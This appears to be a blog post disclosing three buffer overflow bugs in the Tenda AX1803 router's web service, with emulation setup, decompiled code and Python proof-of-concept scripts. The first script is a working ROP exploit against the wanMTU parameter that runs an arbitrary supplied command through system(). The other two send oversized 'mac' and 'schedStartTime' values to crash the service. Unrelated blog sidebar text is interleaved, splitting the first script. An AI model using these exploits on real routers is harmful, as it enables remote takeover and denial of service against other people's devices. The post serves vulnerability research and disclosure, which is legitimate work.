Tenda ax1803 is vulnerable to a buffer overflow

Tenda ax1803 is vulnerable to a buffer overflow

Setting up the environment

Create a br0 NIC:

```
sudo tunctl -t br0 -u root
sudo ifconfig br0 192.168.0.1/24
```

Copy qemu-arm-static to the corresponding directory on the filesystem and start the tdhttpd service:

```
sudo chroot . ./qemu-arm-static ./bin/tdhttpd
```

The first vulnerability

A stack overflow vulnerability exists in the fromAdvSetMacMtuWan function, which can lead to a denial of service or remote code execution vulnerability through a carefully constructed http request.

```
void __fastcall fromAdvSetMacMtuWan(_DWORD *a1)
{
  int v1; // r4
  int v3; // r0
  int v4; // r9
  int v5[2]; // [sp+0h] [bp-8h] BYREF
  char v6[256]; // [sp+8h] [bp+0h] BYREF

  v1 = 0;
  v5[0] = 0;
  v5[1] = 0;
  memset(v6, 0, sizeof(v6));
  allocbuf("wan1.connecttype", (int)v5);
  v3 = atoi((const char *)v5);
  v4 = sub_8C444((websRec *)a1, v3);
  if ( atoi((const char *)v5) == 2 )
    v1 = sub_8C594((websRec *)a1);
  if ( v1 | sub_8C6C8(a1) | v4 )
  {
    snprintf(v6, 0x100u, "op=%d", 22);
    send_msg_to_netctrl(2, (int)v6);
  }
  status_200(a1, "{\"errCode\":0}");
}
```

```
  v8 = getValue(a1, "wanMTU", (int)&byte_1EACC5);
  strcpy((char *)v9, v5);
  result = strcmp((const char *)v9, (const char *)v8);
  if ( !result )
    return result;
  if ( a2 == 1 )
  {
    SetValue((int)"static.mtu", (int)v9);
    return 1;
  }
```

The proof-of-concept code for the vulnerability is as follows:

```
import requests,sys
from pwn import *

url = sys.argv[1] + "/goform/AdvSetMacMtuWan"
```

公告

昵称： Riv4ille
园龄： 2年8个月
粉丝： 12
关注： 14
+加关注

< 2022年11月

日	一	二	三	四
30	31	1	2	3
6	7	8	9	10
13	14	15	16	17
20	21	22	23	24
27	28	29	30	1
4	5	6	7	8

搜索

找找看
谷歌搜

常用链接

我的随笔
我的评论
我的参与
最新评论
我的标签

我的标签

二进制漏洞分析(4)

随笔分类

MIPS(2)
pwn(24)
Re(7)
Web(3)
漏洞分析(5)
漏洞挖掘(5)
密码学(1)
网络编程(1)

随笔档案

2022年11月(1)
2022年10月(2)
2022年9月(2)
2022年3月(1)
2021年12月(1)
2021年11月(2)

```
cmd = sys.argv[2]

libc_base = 0xfef99000
gadget1 = 0xff08dcdc # mov r0, sp ; blx r3
gadget2 = 0xff01987c # mov r3, r4 ; mov r0, r3 ; pop {r4, pc}
system_addr = 0xfefd06c8

payload = '128999999999'+ p32(system_addr) + p32(0xdeadbeef)*3 + p32(gadget2)
payload += p32(0xdeadbeef) + p32(gadget1) + cmd
payload = "wanMTU=%s&wanSpeed=0&cloneType=0&mac=00:00:00:00:00:01"%payload
content_length = len(payload)
headers = {
    "Host":"192.168.0.1",
    "X-Requested-With":"XMLHttpRequest",
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like G
    "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
    "Origin":"http://192.168.0.1",
    "Referer":"http://192.168.0.1/main.html",
    "Content-Length":"%d"%content_length
}

r = requests.post(url,headers = headers,data = payload)
```

The Second vulnerability

A heap overflow vulnerability exists in the GetParentControlInfo function, which can cause a denial of service attack through a carefully constructed http request.

```
v2 = (cJSON *)cJSON_CreateObject();
memset(s, 0, sizeof(s));
v21 = 0;
src = getValue(a1, "mac", (int)&byte_1EACC5);
v3 = (unsigned __int8 *)malloc(0x254u);
v4 = (const char *)(v3 + 2);
memset(v3, 0, 0x254u);
strcpy((char *)v3 + 2, src);
```

The proof-of-concept code for the vulnerability is as follows:

```
import requests,sys
from pwn import *

url = sys.argv[1] + "/goform/GetParentControlInfo"

payload = 'a'*0x400
payload = 'mac=%s'%payload
content_length = len(payload)
headers = {
    "Host":"192.168.0.1",
    "X-Requested-With":"XMLHttpRequest",
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like G
    "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
    "Origin":"%s"%url,
    "Referer":"%s/main.html"%url,
    "Content-Length":"%d"%content_length
}

r = requests.post(url,headers = headers,data = payload)
```

The third vulnerability

2021年8月(2)
2021年7月(2)
2021年5月(2)
2021年4月(1)
2021年1月(1)
2020年11月(2)
2020年10月(1)
2020年9月(1)
2020年8月(3)
更多

友链

一起学习的rookle师傅
Star大哥
B1ank：亲爱的misc爷和re爷
yk2er0

阅读排行榜

1. 从prctl函数开始学习沙箱规则(274
2. ubuntu安装qemu(2282)
3. MIPS汇编学习(1976)
4. PWN——uaf漏洞学习(1618)
5. 攻防世界misc——János-the-Ripp

评论排行榜

1. House_of_orange 学习小结(2)
2. 漏洞分析：CVE-2017-17215(1)
3. 漏洞分析：CVE 2021-3156(1)

推荐排行榜

1. 从prctl函数开始学习沙箱规则(2)
2. 漏洞分析：CVE-2017-17215(1)
3. 记一道比较简单的协议栈逆向题目(1
4. 漏洞分析：CVE 2021-3156(1)
5. PWN——uaf漏洞学习(1)

最新评论

1. Re:漏洞分析：CVE-2017-17215
好耶，又找到了

2. Re:漏洞分析：CVE 2021-3156
大神，虽然看不懂，但是貌似很厉害的
--灯

3. Re:House_of_orange 学习小结
学弟帮忙点个推荐啊，哈哈哈

4. Re:House_of_orange 学习小结
好耶,写的太详细了

A heap overflow vulnerability exists in the setSchedWifi function, which could cause a denial of service by constructing an http request.

```
v2 = getValue(a1, "schedWifiEnable", (int)"1");
schedStartTime = getValue(a1, "schedStartTime", (int)&byte_1EACC5);
schedEndTime = getValue(a1, "schedEndTime", (int)&byte_1EACC5);
timeType = getValue(a1, "timeType", (int)"0");
day = getValue(a1, "day", (int)"1,1,1,1,1,1,1");
v4 = (char *)wifi_get_mibname((int)"wlan", (int)"enable", (int)s);
allocbuf(v4, (int)v14);
if ( !LOBYTE(v14[0]) )
  strcpy((char *)v14, "1");
if ( atoi(timeType) )
  _isoc99_sscanf(day, "%d,%d,%d,%d,%d,%d,%d", &v17, &v18, &v19, &v20, &v21, &v22, &v23);
SetValue((int)"sys.sched.wifi.timeType", (int)timeType);
v5 = (char *)malloc(0x19u);
v13 = atoi(v2);
if ( v5 )
{
  *v5 = atoi((const char *)v14) != 0;
  v6 = atoi(v2) != 0;
  v5[1] = v6;
  strcpy(v5 + 2, schedStartTime);            // 可能存在堆溢出
  strcpy(v5 + 10, schedEndTime);             // 可能存在堆溢出
```

The proof-of-concept code for the vulnerability is as follows:

```
import requests,sys
from pwn import *

url = sys.argv[1] + "/goform/openSchedWifi"

payload = 'a'*0x400
payload = 'schedWifiEnable=&schedStartTime=%s&schedEndTime=&timeType=&day='%payload
content_length = len(payload)
headers = {
    "Host":"192.168.0.1",
    "X-Requested-With":"XMLHttpRequest",
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like G
    "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
    "Origin":"%s"%url,
    "Referer":"%s/main.html"%url,
    "Content-Length":"%d"%content_length
}

r = requests.post(url,headers = headers,data = payload)
```

分类: 漏洞挖掘

Riv4ille
粉丝 - 12 关注 - 14
0 0
+加关注

« 上一篇: 漏洞分析：PwnKit CVE-2021-4034
» 下一篇: Tenda ax1803's stack overflow

posted @ 2022-09-15 01:12 Riv4ille 阅读(353) 评论(0) 编辑 收藏 举报

· 新零售 SaaS 架构：多租户系统架构设计
· 用最少的代码模拟 gRPC 四种消息交换模式

阅读排行:
· 聊一聊如何截获 C# 程序产生的日志
· 好好的系统，为什么要分库分表?
· 群晖NAS搭建外网可访问的电子图书馆Calibre-Web
· .net core/5/6/7中WPF如何优雅的开始开发
· 使用c#的 async/await编写 长时间运行的基于代码的工作流的 持久任务框架